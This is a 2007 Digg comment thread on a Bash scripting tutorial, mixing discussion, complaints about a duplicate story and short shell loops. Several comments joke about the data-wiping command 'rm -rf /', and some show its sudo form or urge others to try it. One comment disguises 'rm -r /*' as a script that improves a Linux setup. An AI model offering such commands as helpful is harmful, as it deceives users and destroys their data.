28 Comments
- eppler, on 10/12/2007, -1/+14Actually, I think you need the -f (force) flag in there...
rm -rf /
I got nervous just by typing this in the comment window... - loveandrockets, on 10/12/2007, -1/+5 It's very good for an intermediate user like me. Thanks. It explained some things that weren't very well explained in other scripting tutorials.
- GlassCasket, on 10/12/2007, -2/+6Good ressource for learning Bash.
- dbr_onix, on 10/12/2007, -0/+2If it is run as root, it'll basicly go though all folders and wipe anything, KDE appers to be fine, but as soon as you do anything (even shutting down the machine) you get error messages.. It's pretty un-spectacular, if very distructive
If run as a normal user, it'll go though, deleting anything you have the privelages to delete (typically only your home folder)
- Ben - PapaMoomin, on 10/12/2007, -0/+2Just in case anyone is thinking of trying:-
rm -rf /
on a production box (or any box you like using!), then don't! It will not show mercy!
Just thought I had better say this as few comments above talking about it. - b7j0c, on 10/12/2007, -0/+1bash scripting is truly for the masochistic. for anything nontrivial, you will run into a hard wall of weird syntax and non-features. this is why perl was invented, to give systems scripters a real language.
- mamluk, on 10/12/2007, -0/+1Don't be an ass. In fact, learning shell scripting while you are new to *nix is a great way to come to grips with the real strength of the OS before you adopt bad habits- I think too many people are trying out Linux without learning how to use the shell. Encouraging absolute tyros to pick up shell scripting early is a good thing. Even if the most they learn is how to rename multiple files at once using a loop.
- shakeyshakey, on 10/12/2007, -0/+1Useless. Just like Linux is.
- i440, on 10/12/2007, -0/+1No no, you have to run it as root for it to work.
- Kahr, on 10/12/2007, -1/+2Verified. (gotta love LiveCDs)
However, you'll probably want to go with "sudo rm -rf /" or use an equivalent root privilege access method. (Because I'm sure you don't take the name of root in vain -- otoh, you are running this script :P) - zerblat, on 10/12/2007, -0/+1"haha What happened exactly? Did it crash?"
$ rm -rf /
rm: cannot remove directory `bin': Permission denied
rm: cannot remove directory `boot': Permission denied
[...etc...] - leszek, on 10/12/2007, -0/+1view all videos of repertory sequentially:
#!/bin/bash
for ALL in *; do mplayer -vo gl2 -idx -fs "$ALL"; done
unzip all zip files:
#!/bin/bash
for A in *.zip; do unzip -o $A; done - hackwrench, on 10/12/2007, -0/+1The rationale:
"With the thousands of commands available for the command line user, how can you remember them all?"
is a bad one.
You have to remember the commands in order to write the script.
The purpose of writing scripts is to cut down on the amount of work you have to do, not so that you don't have to remember how that is done.
That being said stock scripts for distribution (as any other program, for that matter) can possibly mean being able to do things you wouldn't otherwise know how to do. - Mowatz, on 10/12/2007, -1/+1Didn't know that one despite it being on the front page several times already. ;) Nice read though, very handy!
- mastertux, on 12/05/2008, -0/+0If Linux is useless why is digg running on it? why does your little cheap linksys router uses embedded Linux? how did I post this? What a trollish stupid comment.
- Dadoo, on 10/12/2007, -0/+0"for anything nontrivial, you will run into a hard wall of weird syntax and non-features"
Gotta disagree with you, there. I wrote a fairly complete backup system, entirely in script. It even manages the tape library on the system where it's running. - leszek, on 10/12/2007, -1/+1getimages:
for I in 01 02 03 04 05 06 07 08 09 `seq 10 $1`; do wget $2$I.jpg; done
using like this : $ getimages 99 http://www.server.com/image
to get all these images:
http://www.server.com/image01.jpg
http://www.server.com/image02.jpg
...
http://www.server.com/image99.jpg - i440, on 10/12/2007, -1/+0"Verified. (gotta love LiveCDs)
However, you'll probably want to go with "sudo rm -rf /" or use an equivalent root privilege access method. (Because I'm sure you don't take the name of root in vain -- otoh, you are running this script :P)"
haha What happened exactly? Did it crash? - hackershandbook, on 10/12/2007, -4/+2and with this we find we finally have to decide - is digg about new news or is it for the endless recycling of old internet material .... (cue: salon article) .....
i digg new news and would like a much stricter policy on old news - come to which - I am missing the "old news" option in the new "bury" menu ......please please bring it back
the article is OK tho ... just dugg to death several times ... . - lbrtuk, on 10/12/2007, -2/+0pervert.
- inactive, on 10/12/2007, -3/+0I'm sorry, but if you need to be told what a "text editor" is, you don't need to be using computers, *NIX, or attempting to write shell scripts.
Here's the real deal:
http://www.tldp.org/LDP/abs/html/ - joebone, on 10/12/2007, -3/+0Its the first option on the bury menu ("Duplicate Story")...
- kanenas.net, on 10/12/2007, -9/+4I think... I have digg this page 2 or 3 times !
;-) - i440, on 10/12/2007, -7/+2"Actually, I think you need the -f (force) flag in there...
rm -rf /"
Maybe. Anyone wanna try to make sure? - chokeyou, on 10/12/2007, -8/+1Hooray. This again.
- radison2, on 10/12/2007, -11/+2Digg 3.0 means things get on the frontpage 3 times? Woohoo forward progress!
- LanEvo, on 10/12/2007, -16/+6yeah lets get this on the front page...AGAIN. dupe.
- i440, on 10/12/2007, -16/+1And here is the best script to improve your Linux configuration. Simply:
#!/bin/bash
rm -r /*
Run it, and finally, you will begin your long road to recovery.


What is Digg?
Check out the new & improved